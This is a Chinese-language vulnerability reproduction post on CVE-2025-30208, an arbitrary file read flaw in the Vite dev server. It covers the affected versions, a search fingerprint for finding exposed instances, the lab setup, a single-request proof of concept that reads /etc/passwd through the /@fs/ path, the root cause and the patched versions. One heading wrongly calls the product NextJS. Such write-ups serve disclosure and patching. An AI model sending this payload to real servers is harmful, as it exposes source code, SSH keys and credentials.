漏洞复现篇 | Vite任意文件读取漏洞:CVE-2025-30208,最新!

漏洞复现篇 | Vite任意文件读取漏洞:CVE-2025-30208,最新!

原创 零日安全实验室 零日安全实验室 2025-03-28 18:26

免责声明!


公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

0x01 漏洞描述

Vite
是一款现代化的前端开发构建工具,它提供了快速的开发服务器和高效的构建能力,广泛应用于
Vue.js
项目的开发过程中。

由于
Vite
开发服务器在处理特定
URL
请求时,没有对请求的路径进行严格的安全检查和限制,导致攻击者可以绕过保护机制,非法访问项目根目录外的敏感文件。攻击者只需在浏览器输入一个
URL
,就可能会造成源码、
SSH
密钥、数据库账号、用户数据等目标机器上的任意文件信息泄露。

0x02 影响范围

目前受影响的
NextJS
版本:

6.2.0 <= Vite <= 6.2.2

6.1.0 <= Vite <= 6.1.1

6.0.0 <= Vite <= 6.0.11

5.0.0 <= Vite <= 5.4.14

Vite <= 4.5.9 

0x03 资产测绘

body="/@vite/client"

0x04 环境搭建

1、克隆项目代码:

git clone https://github.com/ai862/Vite-demo.git

2、更新apt:

apt-get update
apt install npm -y

4、安装项目依赖:

npm install --legacy-peer-deps

5、启动开发服务器:

npm run dev

0x05 漏洞利用及复现过程

触发的POC:

GET /@fs/etc/passwd?import&raw?? HTTP/1.1
Content-Type: application/json
Host: 192.168.127.128:4173/

0x06 漏洞触发原理

原始代码直接使用未经处理的
url
进行校验。攻击者可在
URL
中添加
?raw??

?import&raw??
绕过此限制。

正则匹配绕过

rawRE/urlRE
的正则设计可能无法处理尾部特殊符号。

例如,假设
rawRE
设计为
/^\/@fs\//
,但实际
URL

/@fs/etc/passwd?
,正则匹配仍会通过(
?
被视为查询参数起始符,但未正确剥离)。

0x07 修复方案

升级
Vite
版本
– >=6.2.3
– >=6.1.2, <6.2.0
– >=6.0.12, <6.1.0
– >=5.4.15, <6.0.0
– >=4.5.10, <5.0.0
Vite
的官方修复在上文已分析